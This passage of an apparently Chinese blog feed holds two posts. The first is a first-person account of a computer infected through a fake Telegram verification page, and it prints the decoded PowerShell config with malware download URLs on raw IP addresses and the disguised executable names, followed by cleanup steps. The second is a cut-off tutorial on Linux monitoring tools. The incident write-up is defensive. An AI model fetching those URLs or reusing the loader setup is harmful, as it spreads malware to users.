&#x89E3;&#x5BC6;&#x5982;&#x4E0B;&#xFF1A;</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$resources</span> = <span class="selector-tag">@</span>(</span><br><span class="line">    <span class="selector-tag">@</span>{</span><br><span class="line">        u = <span class="string">&quot;http://92.45.81.13:8080/malware/basic.dll&quot;</span></span><br><span class="line">        z = <span class="string">&quot;download1.zip&quot;</span></span><br><span class="line">        x = <span class="string">&quot;extracted4&quot;</span></span><br><span class="line">        e = <span class="string">&quot;QQPlayer.exe&quot;</span></span><br><span class="line">    },</span><br><span class="line">    <span class="selector-tag">@</span>{</span><br><span class="line">        u = <span class="string">&quot;http://108.162.195.234:8080/malware/advanced.dll&quot;</span></span><br><span class="line">        z = <span class="string">&quot;download6.zip&quot;</span></span><br><span class="line">        x = <span class="string">&quot;extractit2&quot;</span></span><br><span class="line">        e = <span class="string">&quot;DDMService.exe&quot;</span></span><br><span class="line">    }</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>&#x8FD9;&#x4E00;&#x5207;&#x5DF2;&#x7ECF;&#x5728;&#x6211;&#x5B8C;&#x6210;&#x5047;&#x7684; Safeguard &#x7684;&#x9A8C;&#x8BC1;&#x540E;&#x51E0;&#x5206;&#x949F;&#x5B8C;&#x6210;&#xFF0C;&#x800C;&#x4E14;&#x6211;&#x5B8C;&#x5168;&#x4E0D;&#x77E5;&#x89C9;&#x3002;</p><p>&#x4E4B;&#x540E;&#x5728;&#x53D1;&#x73B0;&#x7535;&#x8111;&#x53EF;&#x80FD;&#x4E2D;&#x6BD2;&#x540E;&#xFF0C;&#x6211;&#x9A6C;&#x4E0A;&#x6253;&#x5F00;&#x4E86; Windows &#x81EA;&#x5E26;&#x7684;&#x6740;&#x6BD2;&#x8F6F;&#x4EF6; Microsoft Defender&#xFF0C;&#x7B2C;&#x4E8C;&#x5929;&#x786E;&#x5B9E;&#x68C0;&#x6D4B;&#x5230;&#x75C5;&#x6BD2;&#x7684;&#x5A01;&#x80C1;&#xFF1A;</p><p><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20250130152241.png" alt="image.png"></p><p><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20250130152306.png" alt="image.png"></p><p><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20250130152328.png" alt="image.png"></p><p>&#x68C0;&#x67E5;&#x7535;&#x8111;&#x6587;&#x4EF6;&#x540E;&#x786E;&#x5B9E;&#x53D1;&#x73B0;&#x4E86; download1.zip&#xFF0C; download6.zip &#x538B;&#x7F29;&#x5305;&#xFF0C;&#x91CC;&#x9762;&#x4E3B;&#x8981;&#x5206;&#x522B;&#x5305;&#x542B;&#xFF1A;QQPlayer.exe&#xFF0C;DDMService.exe&#x3002;</p><p>&#x5728; DeepSeek &#x7684;&#x6307;&#x5BFC;&#x4E0B;&#x68C0;&#x67E5;&#x7535;&#x8111;&#x542F;&#x52A8;&#x9879;&#xFF1A;</p><ol><li class="lvl-3"><p>win + R -&gt; msconfig</p></li><li class="lvl-3"><p>win + R -&gt; taskschd.msc</p></li></ol><p>&#x5728;&#x5B9A;&#x65F6;&#x4EFB;&#x52A1;&#x4E2D;&#xFF0C;&#x679C;&#x7136;&#x67E5;&#x51FA;&#x53EF;&#x4EE5;&#x4EFB;&#x52A1;&#xFF1A;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20250130154055.png" alt="image.png"></p><p>&#x8FD9;&#x4E2A;&#x4EFB;&#x52A1;&#x4F7F;&#x7528;&#x4E86;&#x6700;&#x9AD8;&#x6743;&#x9650;&#x8FD0;&#x884C;&#xFF0C;&#x5E76;&#x4E14;&#x8BBE;&#x7F6E;&#x5728;&#x6BCF;&#x5929; 16:45 &#x51FA;&#x53D1;&#xFF0C;&#x5728;&#x4E00;&#x5929;&#x671F;&#x95F4;&#x6BCF;&#x9694; 00:04:00 &#x91CD;&#x590D;&#x4E00;&#x6B21;&#x3002;</p><p>&#x9A6C;&#x4E0A;&#x7981;&#x6B62;&#x3002;&#x7136;&#x540E;&#x53BB;&#x542F;&#x52A8;&#x4EFB;&#x52A1;&#x7684;&#x8DEF;&#x5F84;&#x67E5;&#x770B;&#xFF1A;</p><p><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20250130154919.png" alt="image.png"></p><p>&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x8FD9;&#x5C31;&#x662F;&#x4E4B;&#x524D;&#x8FDC;&#x7A0B;&#x6267;&#x884C;&#x4EFB;&#x52A1;&#x65F6;&#x4E0B;&#x8F7D;&#x7684;&#x6587;&#x4EF6;&#xFF0C;&#x539F;&#x6765;&#x5B89;&#x88C5;&#x5728;&#x4E86;&#x8FD9;&#x91CC;&#xFF0C;&#x5E76;&#x4E14;&#x7528;&#x4E86;&#x4E00;&#x4E2A;&#x5B9A;&#x65F6;&#x4EFB;&#x52A1;&#x8FDB;&#x884C;&#x542F;&#x52A8;&#x3002;</p><p>&#x8FD9;&#x91CC;&#x5173;&#x952E;&#x7684;&#x7A0B;&#x5E8F;&#x5C31;&#x662F; DDMService.exe&#xFF0C;&#x5982;&#x679C;&#x8BD5;&#x56FE;&#x5220;&#x9664;&#x5B83;&#xFF0C;&#x53EF;&#x4EE5;&#x53D1;&#x73B0;&#xFF1A;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20250130155144.png" alt="image.png"></p><p>&#x539F;&#x6765;&#x53C8;&#x88AB;&#x53E6;&#x4E00;&#x4E2A;&#x7A0B;&#x5E8F;&#x5360;&#x7528;&#x7740;&#xFF0C;&#x4F3C;&#x4E4E;&#x662F;&#x4E00;&#x4E2A;&#x4F2A;&#x88C5;&#x7684;&#x5B89;&#x5168;&#x8F6F;&#x4EF6;&#x3002;</p><p><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20250130155644.png" alt="image.png"></p><p>&#x53E6;&#x5916;&#x8FD8;&#x53D1;&#x73B0;&#x53EF;&#x7591;&#x6587;&#x4EF6;&#xFF1A;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20250130155408.png" alt="image.png"></p><p>&#x5927;&#x6982;&#x662F;&#x4F1A;&#x53D1;&#x9001;&#x622A;&#x56FE;&#x5DE5;&#x5177;&#x4EA7;&#x751F;&#x7684;&#x56FE;&#x7247;&#xFF1F;&#x5230;&#x8FD9;&#x91CC;&#x6211;&#x60F3;&#x6211;&#x7684;&#x7C98;&#x8D34;&#x677F;&#x5E94;&#x8BE5;&#x4E5F;&#x88AB;&#x76D1;&#x63A7;&#x4E86;&#x3002;</p><p>&#x4E0A;&#x9762;&#x7684; Securequick_alpha_5.exe &#x53C8;&#x505A;&#x4E86;&#x4E00;&#x5B9A;&#x4F2A;&#x88C5;&#xFF1A;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20250130155954.png" alt="image.png"></p><p>&#x901A;&#x8FC7;&#x6740;&#x75C5;&#x6BD2;&#x8F6F;&#x4EF6;&#x626B;&#x63CF;&#x663E;&#x793A;&#xFF1A;&#x8FD9;&#x4E2A;&#x7A0B;&#x5E8F;&#x542F;&#x52A8;&#x4E86;&#x4E00;&#x4E2A; tcp &#x8FDE;&#x63A5;&#xFF01;&#xFF01;&#xFF01;&#xFF01;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20250130160547.png" alt="image.png"></p><p>&#x800C;&#x4E14;&#x8FD9;&#x4E2A; ip &#x679C;&#x7136;&#x662F;&#x6709;&#x5927;&#x95EE;&#x9898;&#xFF1A;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20250130172453.png" alt="image.png"></p><p>&#x5FC5;&#x987B;&#x9A6C;&#x4E0A;&#x5220;&#x9664; Securequick_alpha_5.exe&#xFF01;&#xFF01;&#xFF01;&#x4F46;&#x662F;&#x76F4;&#x63A5;&#x5220;&#x9664;&#x6709;&#x95EE;&#x9898;&#xFF0C;&#x53EA;&#x80FD;&#x5728;&#x4EFB;&#x52A1;&#x7BA1;&#x7406;&#x5668;&#x4E2D;&#x5148;&#x5F3A;&#x5236;&#x7ED3;&#x675F;&#x4EFB;&#x52A1;&#xFF0C;&#x7136;&#x540E;&#x5220;&#x6389; Securequick_alpha_5.exe&#xFF0C; &#x518D;&#x5220;&#x6389; DDMService.exe</p><p>&#x8FD8;&#x8BB0;&#x5F97;&#x524D;&#x9762;&#x7684; QQPlayer.exe &#x5417;&#xFF1F; &#x8DDF; Securequick_alpha_5.exe &#x4E00;&#x8D77;&#x5B89;&#x88C5;&#x7684;&#xFF0C;&#x5B83;&#x4E5F;&#x662F;&#x4F2A;&#x88C5;&#x7684;, &#x5E94;&#x8BE5;&#x662F;&#x4E3A;&#x4E86;&#x68C0;&#x67E5;&#x5B89;&#x5168;&#x9A8C;&#x8BC1;&#x7684;&#xFF1A;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20250130170138.png" alt="image.png"></p><p>&#x5230;&#x8FD9;&#x91CC;&#xFF0C;&#x901A;&#x8FC7;&#x4E24;&#x5929;&#x7684;&#x6392;&#x67E5;&#xFF0C;&#x75C5;&#x6BD2;&#x5927;&#x6982;&#x7684;&#x6D41;&#x7A0B;&#x641E;&#x6E05;&#x695A;&#x4E86;&#xFF0C;&#x5E76;&#x4E14;&#x690D;&#x5165;&#x7684;&#x6076;&#x610F;&#x4EE3;&#x7801;&#x548C;&#x5B9A;&#x65F6;&#x4EFB;&#x52A1;&#x4E5F;&#x90FD;&#x88AB;&#x5220;&#x9664;&#xFF0C;&#x8FD8;&#x597D;&#x611F;&#x67D3;&#x75C5;&#x6BD2;&#x671F;&#x95F4;&#x6CA1;&#x6709;&#x53D1;&#x751F;&#x590D;&#x5236;&#x79C1;&#x4EBA;&#x5BC6;&#x7801;&#x4E4B;&#x7C7B;&#x7684;&#x64CD;&#x4F5C;&#xFF0C;&#x5426;&#x5219;&#x90FD;&#x88AB;&#x4E0A;&#x4F20;&#x5230;&#x8FDC;&#x7A0B;&#x4E86;&#x3002;&#x4E0D;&#x8FC7;&#x8FD8;&#x4E0D;&#x786E;&#x5B9A;&#x8C37;&#x6B4C;&#x6D4F;&#x89C8;&#x5668;&#x91CC;&#x9762;&#x7684;&#x5BC6;&#x7801;&#x6709;&#x6CA1;&#x6709;&#x88AB;&#x76D7;&#x3002;</p><p>&#x76F8;&#x5173;&#x9605;&#x8BFB;&#xFF1A;</p><ul class="lvl-0"><li class="lvl-2"><p><a href="https://mp.weixin.qq.com/s/2Y-yKvTNQSTxkBADGywMHg">https://mp.weixin.qq.com/s/2Y-yKvTNQSTxkBADGywMHg</a></p></li></ul>]]></content>
    
    
    <summary type="html">&lt;p&gt;&amp;#x6CA1;&amp;#x60F3;&amp;#x5230;&amp;#x6709;&amp;#x4E00;&amp;#x5929;&amp;#x6211;&amp;#x7684;&amp;#x7535;&amp;#x8111;&amp;#x771F;&amp;#x7684;&amp;#x4F1A;&amp;#x4E2D;&amp;#x6BD2;&lt;/p&gt;
&lt;p&gt;&amp;#x672C;&amp;#x6587;&amp;#x8BE6;&amp;#x7EC6;&amp;#x8BB0;&amp;#x5F55;&amp;#x4E86;&amp;#x4F5C;&amp;#x8005;&amp;#x906D;&amp;#x9047;&amp;#x7684;&amp;#x8FDC;&amp;#x7A0B;&amp;#x4EE3;&amp;#x7801;&amp;#x6267;&amp;#x884C;(RCE)&amp;#x653B;&amp;#x51FB;&amp;#x8FC7;&amp;#x7A0B;&amp;#xFF0C;&amp;#x63ED;&amp;#x793A;&amp;#x4E86;&amp;#x9A97;&amp;#x5B50;&amp;#x5982;&amp;#x4F55;&amp;#x901A;&amp;#x8FC7;&amp;#x793E;&amp;#x4EA4;&amp;#x5A92;&amp;#x4F53;&amp;#x9AD8;&amp;#x4EFF;&amp;#x8D26;&amp;#x53F7;&amp;#x548C;&amp;#x865A;&amp;#x5047;Telegram&amp;#x9A8C;&amp;#x8BC1;&amp;#x9875;&amp;#x9762;&amp;#x4F20;&amp;#x64AD;&amp;#x6076;&amp;#x610F;&amp;#x4EE3;&amp;#x7801;&amp;#x3002;&amp;#x6587;&amp;#x7AE0;&amp;#x6DF1;&amp;#x5165;&amp;#x5206;&amp;#x6790;&amp;#x4E86;PowerShell&amp;#x6DF7;&amp;#x6DC6;&amp;#x811A;&amp;#x672C;&amp;#x7684;&amp;#x5DE5;&amp;#x4F5C;&amp;#x539F;&amp;#x7406;&amp;#xFF0C;&amp;#x5305;&amp;#x62EC;Base64&amp;#x7F16;&amp;#x7801;&amp;#x9690;&amp;#x85CF;&amp;#x7684;&amp;#x6076;&amp;#x610F;URL&amp;#x3001;&amp;#x81EA;&amp;#x52A8;&amp;#x4E0B;&amp;#x8F7D;&amp;#x6267;&amp;#x884C;&amp;#x673A;&amp;#x5236;&amp;#x4EE5;&amp;#x53CA;&amp;#x5982;&amp;#x4F55;&amp;#x4F7F;&amp;#x7528;&amp;#x4E8B;&amp;#x4EF6;&amp;#x67E5;&amp;#x770B;&amp;#x5668;&amp;#x8FFD;&amp;#x8E2A;&amp;#x653B;&amp;#x51FB;&amp;#x75D5;&amp;#x8FF9;&amp;#xFF0C;&amp;#x4E3A;&amp;#x8BFB;&amp;#x8005;&amp;#x63D0;&amp;#x4F9B;&amp;#x7F51;&amp;#x7EDC;&amp;#x5B89;&amp;#x5168;&amp;#x9632;&amp;#x8303;&amp;#x7684;&amp;#x5B9E;&amp;#x6218;&amp;#x6848;&amp;#x4F8B;&amp;#x3002;&lt;/p&gt;</summary>
    
    
    
    
    <category term="安全" scheme="https://oschina.win/tags/%E5%AE%89%E5%85%A8/"/>
    
  </entry>
  
  <entry>
    <title>基于 linux 上的网络监控工具的使用</title>
    <link href="https://oschina.win/posts/a30a9239.html"/>
    <id>https://oschina.win/posts/a30a9239.html</id>
    <published>2024-09-13T16:20:59.000Z</published>
    <updated>2024-09-13T16:20:59.000Z</updated>
    
    <content type="html"><![CDATA[<p>&#x6D89;&#x53CA;&#x5230; <code>iotop</code>, <code>iostat</code>, <code>netstat</code>, <code>sar</code> &#x547D;&#x4EE4;&#x7684;&#x4F7F;&#x7528;&#x3002;</p><p>&#x672C;&#x6587;&#x5168;&#x9762;&#x4ECB;&#x7ECD;Linux&#x7CFB;&#x7EDF;&#x4E0B;&#x56DB;&#x79CD;&#x5F3A;&#x5927;&#x7684;&#x7F51;&#x7EDC;&#x4E0E;IO&#x76D1;&#x63A7;&#x5DE5;&#x5177;&#x53CA;&#x5176;&#x5B9E;&#x9645;&#x5E94;&#x7528;&#x3002;&#x8BE6;&#x7EC6;&#x8BB2;&#x89E3;&#x4E86;iotop&#x8FDB;&#x7A0B;&#x7EA7;IO&#x76D1;&#x63A7;&#x3001;iostat&#x8BBE;&#x5907;IO&#x7EDF;&#x8BA1;&#x3001;netstat&#x7F51;&#x7EDC;&#x8FDE;&#x63A5;&#x5206;&#x6790;&#x548C;sar&#x7CFB;&#x7EDF;&#x6D3B;&#x52A8;&#x62A5;&#x544A;&#x5DE5;&#x5177;&#x7684;&#x5B89;&#x88C5;&#x914D;&#x7F6E;&#x3001;&#x547D;&#x4EE4;&#x9009;&#x9879;&#x548C;&#x5E38;&#x89C1;&#x4F7F;&#x7528;&#x573A;&#x666F;&#x3002;&#x6587;&#x7AE0;&#x6700;&#x540E;&#x63D0;&#x4F9B;&#x4E86;&#x4E00;&#x4E2A;&#x5B9E;&#x7528;&#x811A;&#x672C;&#xFF0C;&#x7528;&#x4E8E;&#x81EA;&#x52A8;&#x6536;&#x96C6;&#x7CFB;&#x7EDF;&#x7F51;&#x7EDC;&#x6570;&#x636E;&#x5E76;&#x5B9E;&#x73B0;&#x65E5;&#x5FD7;&#x8F6E;&#x8F6C;&#xFF0C;&#x5E2E;&#x52A9;&#x7CFB;&#x7EDF;&#x7BA1;&#x7406;&#x5458;&#x9AD8;&#x6548;&#x76D1;&#x6D4B;&#x548C;&#x6392;&#x67E5;&#x7F51;&#x7EDC;&#x6027;&#x80FD;&#x95EE;&#x9898;&#x3002;</p><span id="more"></span><h3 id="1-iotop">1. iotop</h3><p>&#x7C7B;&#x4F3C;&#x4E8E; top &#x547D;&#x4EE4;&#xFF0C;&#x7528;&#x4E8E;&#x76D1;&#x63A7;&#x548C;&#x663E;&#x793A;<strong>&#x8FDB;&#x7A0B;&#x7EA7;&#x522B;</strong>&#x7684;&#x78C1;&#x76D8; I/O &#x4F7F;&#x7528;&#x60C5;&#x51B5;&#xFF0C;&#x53EF;&#x4EE5;&#x50CF; top &#x4E00;&#x6837;&#x5B9E;&#x65F6;&#x5237;&#x65B0;&#x663E;&#x793A;&#x3002;</p><p>&#x5982;&#x679C;&#x7CFB;&#x7EDF;&#x9ED8;&#x8BA4;&#x6CA1;&#x6709;&#x5B89;&#x88C5;&#xFF0C;&#x9700;&#x8981;&#x5148;&#x5B89;&#x88C5;&#xFF1A;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo yum install iotop</span><br></pre></td></tr></table></figure><p>&#x4F7F;&#x7528;&#x683C;&#x5F0F;&#xFF1A;iotop [options]</p><p>&#x5E38;&#x7528;&#x7684;&#x9009;&#x9879; options &#x6709;&#xFF1A;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">-o    &#x4EC5;&#x663E;&#x793A;&#x5F53;&#x524D;&#x6B63;&#x5728;&#x8FDB;&#x884C; I/O &#x64CD;&#x4F5C;&#x7684;&#x8FDB;&#x7A0B;</span><br><span class="line">-b    &#x6279;&#x5904;&#x7406;&#x6A21;&#x5F0F;&#xFF0C;&#x4E0D;&#x5237;&#x65B0;&#x5C4F;&#x5E55;&#xFF0C;&#x76F4;&#x63A5;&#x8F93;&#x51FA;&#x7ED3;&#x679C;&#xFF0C;&#x9002;&#x7528;&#x4E8E;&#x811A;&#x672C;</span><br><span class="line">-n NUM&#x6307;&#x5B9A;&#x8F93;&#x51FA;&#x7684;&#x5237;&#x65B0;&#x6B21;&#x6570;&#xFF08;&#x9ED8;&#x8BA4;&#x65E0;&#x9650;&#x5237;&#x65B0;&#xFF09;</span><br><span class="line">-d SEC&#x6307;&#x5B9A;&#x5237;&#x65B0;&#x95F4;&#x9694;&#xFF0C;&#x5355;&#x4F4D;&#x4E3A;&#x79D2;&#xFF08;&#x9ED8;&#x8BA4; 1 &#x79D2;&#xFF09;</span><br><span class="line">-p PID&#x53EA;&#x663E;&#x793A;&#x7279;&#x5B9A;&#x8FDB;&#x7A0B;&#x7684; I/O &#x6D3B;&#x52A8;</span><br><span class="line">-P      &#x53EA;&#x663E;&#x793A;&#x8FDB;&#x7A0B;&#xFF0C;&#x4E0D;&#x663E;&#x793A;&#x7EBF;&#x7A0B;</span><br><span class="line">-u USER&#x53EA;&#x663E;&#x793A;&#x5C5E;&#x4E8E;&#x7279;&#x5B9A;&#x7528;&#x6237;&#x7684;&#x8FDB;&#x7A0B;&#x7684; I/O &#x4F7F;&#x7528;&#x60C5;&#x51B5;</span><br><span class="line">-q    &#x4F7F; iotop &#x8FD0;&#x884C;&#x65F6;&#x5B89;&#x9759;&#xFF0C;&#x53EA;&#x8F93;&#x51FA;&#x4E00;&#x6B21;&#x7EDF;&#x8BA1;&#x4FE1;&#x606F;&#x800C;&#x4E0D;&#x5237;&#x65B0;</span><br><span class="line">-k      &#x8F93;&#x51FA;&#x7684;&#x5355;&#x4F4D;&#xFF0C;kbytes/s</span><br><span class="line">-t      &#x663E;&#x793A;&#x65F6;&#x95F4;&#x6233;</span><br></pre></td></tr></table></figure><p>&#x4F7F;&#x7528;&#x573A;&#x666F;&#xFF1A;</p><ul class="lvl-0"><li class="lvl-2"><p>&#x6BCF;&#x4E24;&#x79D2;&#x5237;&#x65B0;&#x4E00;&#x6B21;&#x6570;&#x636E;&#xFF0C;<code>iotop -d 2</code></p></li><li class="lvl-2"><p>&#x67E5;&#x770B;&#x6307;&#x5B9A;&#x7684; PID &#x7684; IO &#x6D3B;&#x52A8;&#xFF0C; <code>iotop -p &lt;PID&gt;</code></p></li><li class="lvl-2"><p>&#x6279;&#x5904;&#x7406;&#xFF0C;<code>iotop -b -oPt -n 10 &gt; io_stats.log</code>, &#x6BCF;&#x9694; 1 &#x79D2;&#x8F93;&#x51FA;&#x6D3B;&#x52A8;&#x8FDB;&#x7A0B;&#x7684; IO &#x7EDF;&#x8BA1;&#x4FE1;&#x606F;&#x5230;&#x6307;&#x5B9A;&#x6587;&#x4EF6;&#xFF0C;&#x8F93;&#x51FA; 10 &#x6B21;&#x3002;</p></li></ul><h3 id="2-iostat">2. iostat</h3><p>&#x7CFB;&#x7EDF;&#x7684; I/O &#x6570;&#x636E;&#x7EDF;&#x8BA1;&#xFF0C;&#x53EF;&#x4EE5;&#x52A8;&#x6001;&#x7684;&#x76D1;&#x89C6;&#x78C1;&#x76D8;&#x8BBE;&#x5907;&#x7684; IO &#x8D1F;&#x8F7D;&#x60C5;&#x51B5;</p><p>&#x5982;&#x679C;&#x7CFB;&#x7EDF;&#x9ED8;&#x8BA4;&#x6CA1;&#x6709;&#x5B89;&#x88C5;&#xFF0C;&#x9700;&#x8981;&#x5148;&#x5B89;&#x88C5;&#xFF1A;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo yum install sysstat</span><br></pre></td></tr></table></figure><p>&#x4F7F;&#x7528;&#x683C;&#x5F0F;&#xFF1A;iostat [ options ] [ interval [ count ] ]</p><p>&#x5E38;&#x7528;&#x7684;&#x9009;&#x9879; options &#x6709;&#xFF1A;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">-d            &#x8F93;&#x51FA;&#x8BBE;&#x5907;(&#x78C1;&#x76D8;)&#x7684; IO &#x7EDF;&#x8BA1;&#x4FE1;&#x606F;</span><br><span class="line">-c            &#x8F93;&#x51FA; CPU &#x7684;&#x7EDF;&#x8BA1;&#x4FE1;&#x606F;&#xFF0C;&#x4E0E; -d &#x9009;&#x9879;&#x76F8;&#x4E92;&#x6392;&#x65A5;</span><br><span class="line">-h            &#x8F93;&#x51FA; human readable &#x683C;&#x5F0F;&#x4FE1;&#x606F;</span><br><span class="line">-k/-m         &#x8F93;&#x51FA;&#x7684;&#x5355;&#x4F4D;&#xFF0C;kbytes/s, mbytes/s&#xFF0C;&#x9ED8;&#x8BA4;&#x662F;&#x5757;&#xFF08;&#x6BCF;&#x5757; 512 &#x5B57;&#x8282;&#xFF09;</span><br><span class="line">-x            &#x8F93;&#x51FA;&#x62D3;&#x5C55;&#x4FE1;&#x606F;&#xFF0C;&#x5305;&#x542B;&#x66F4;&#x8BE6;&#x7EC6;&#x7684; I/O &#x6307;&#x6807;</span><br><span class="line">-t            &#x663E;&#x793A;&#x91C7;&#x96C6;&#x6570;&#x636E;&#x65F6;&#x7684;&#x65F6;&#x95F4;</span><br><span class="line">-p [device]   &#x663E;&#x793A;&#x6240;&#x6709;&#x8BBE;&#x5907;&#x6216;&#x6307;&#x5B9A;&#x8BBE;&#x5907;&#x7684;**&#x5206;&#x533A;**&#x7EDF;&#x8BA1;</span><br><span class="line">-y            &#x5FFD;&#x7565;&#x81EA;&#x673A;&#x5668;&#x542F;&#x52A8;&#x4EE5;&#x6765;&#x7684;&#x7D2F;&#x8BA1;&#x7EDF;&#x8BA1;&#x6570;&#x636E;&#xFF0C;&#x800C;&#x4ECE;&#x547D;&#x540D;&#x6267;&#x884C;&#x5F00;&#x59CB;&#x7EDF;&#x8BA1;</span><br></pre></td></tr></table></figure><p>&#x4F7F;&#x7528;&#x573A;&#x666F;&#xFF1A;</p><ul class="lvl-0"><li class="lvl-2"><p>&#x663E;&#x793A;&#x7CFB;&#x7EDF;&#x6BCF;&#x4E2A;&#x8BBE;&#x5907;&#x7684; IO &#x7EDF;&#x8BA1;&#x6570;&#x636E;&#xFF0C;&#x6267;&#x884C; <code>iostat -d</code></p></li><li class="lvl-2"><p>&#x663E;&#x793A;&#x6BCF;&#x4E2A;&#x8BBE;&#x5907;&#x4EE5;&#x53CA;&#x5176;&#x5206;&#x533A;&#x7684; IO &#x7EDF;&#x8BA1;&#x6570;&#x636E;&#xFF0C;&#x6267;&#x884C; <code>iostat -p</code></p></li><li class="lvl-2"><p>&#x6BCF;&#x9694; 1 &#x79D2;&#xFF0C;&#x6301;&#x7EED;&#x5730;&#x91C7;&#x96C6;&#x7CFB;&#x7EDF;&#x8BBE;&#x5907; IO &#x7684;&#x8BE6;&#x7EC6;&#x6307;&#x6807;&#xFF0C;&#x6267;&#x884C; <code>iostat -xyt 1</code></p></li></ul><h3 id="3-netstat">3. netstat</h3><p>netstat &#x67E5;&#x770B;&#x7CFB;&#x7EDF;&#x4E2D;&#x7F51;&#x7EDC;&#x76F8;&#x5173;&#x6D3B;&#x52A8;&#x7684;&#x91CD;&#x8981;&#x5DE5;&#x5177;&#xFF0C;&#x5E38;&#x7528;&#x4E8E;&#x67E5;&#x770B; TCP/UDP &#x8FDE;&#x63A5;&#xFF0C;socket &#x6D3B;&#x52A8;&#x7B49;&#x7B49;&#x3002;</p><p>&#x5982;&#x679C;&#x7CFB;&#x7EDF;&#x9ED8;&#x8BA4;&#x6CA1;&#x6709;&#x5B89;&#x88C5;&#xFF0C;&#x5219;&#x9700;&#x8981;&#x8FDB;&#x884C;&#x5B89;&#x88C5;&#xFF1A;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo yum install net-tools</span><br></pre></td></tr></table></figure><p>&#x5E38;&#x7528;&#x7684;&#x9009;&#x9879;&#x6709;&#xFF1A;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">-r, --route              &#x663E;&#x793A;&#x8DEF;&#x7531;&#x8868;</span><br><span class="line">-i, --interfaces         &#x663E;&#x793A;&#x6240;&#x6709;&#x7F51;&#x5361;&#x8868;&#xFF0C;&#x5982; `netstat -i`</span><br><span class="line">-I, --interfaces=&lt;Iface&gt; &#x663E;&#x793A;&#x6307;&#x5B9A;&#x7684;&#x7F51;&#x5361;&#x8868;&#xFF0C;&#x5982; `netstat -I=eth0`</span><br><span class="line"></span><br><span class="line">-s, --statistics         &#x8F93;&#x51FA;&#x7F51;&#x7EDC;&#x7684;&#x7EDF;&#x8BA1;&#x4FE1;&#x606F; (like SNMP)</span><br><span class="line">-v, --verbose            verbose &#x8F93;&#x51FA;</span><br><span class="line">-c, --continuous         &#x8FDE;&#x7EED;&#x8F93;&#x51FA;&#x6A21;&#x5F0F;</span><br><span class="line"></span><br><span class="line">-n&#xFF0C;--numeric            &#x4E0D;&#x89E3;&#x6790;&#x4E3B;&#x673A;&#x540D;&#xFF0C;&#x76F4;&#x63A5;&#x663E;&#x793A;&#x5BF9;&#x5E94;&#x7684; ip</span><br><span class="line">-e, --extend             &#x663E;&#x793A;&#x66F4;&#x591A;&#x62D3;&#x5C55; or &#x9690;&#x85CF;&#x7684;&#x4FE1;&#x606F;, &#x5982; `netstat -i -e` &#x7684;&#x8F93;&#x51FA;&#x76F8;&#x5F53;&#x4E8E; `ifconfig`</span><br><span class="line">-p, --programs           &#x663E;&#x793A; PID/Program &#x5360;&#x7528;&#x7684; socket</span><br><span class="line"></span><br><span class="line">-l, --listening          &#x663E;&#x793A;&#x6B63;&#x5728;&#x76D1;&#x542C;&#x7684; socket &#x6D3B;&#x52A8;</span><br><span class="line">-a, --all                &#x663E;&#x793A;&#x6240;&#x6709;&#x7684; socket &#x6D3B;&#x52A8;(&#x9ED8;&#x8BA4;: connected)</span><br><span class="line"></span><br><span class="line">-t, --tcp                &#x663E;&#x793A; TCP &#x8FDE;&#x63A5;&#x6D3B;&#x52A8;</span><br><span class="line">-u, --udp                &#x663E;&#x793A; UDP &#x8FDE;&#x63A5;&#x6D3B;&#x52A8;</span><br></pre></td></tr></table></figure><p>&#x5B9E;&#x9645;&#x573A;&#x666F;&#xFF1A;</p><ul class="lvl-0"><li class="lvl-2"><p>&#x67E5;&#x627E;&#x54EA;&#x4E9B;&#x670D;&#x52A1;&#x6B63;&#x5728;&#x76D1;&#x542C;&#x54EA;&#x4E9B; TCP &#x7AEF;&#x53E3;, &#x4F7F;&#x7528; <code>-t</code> &#x9009;&#x9879;&#xFF1A; <code>netstat -t -ln</code></p></li><li 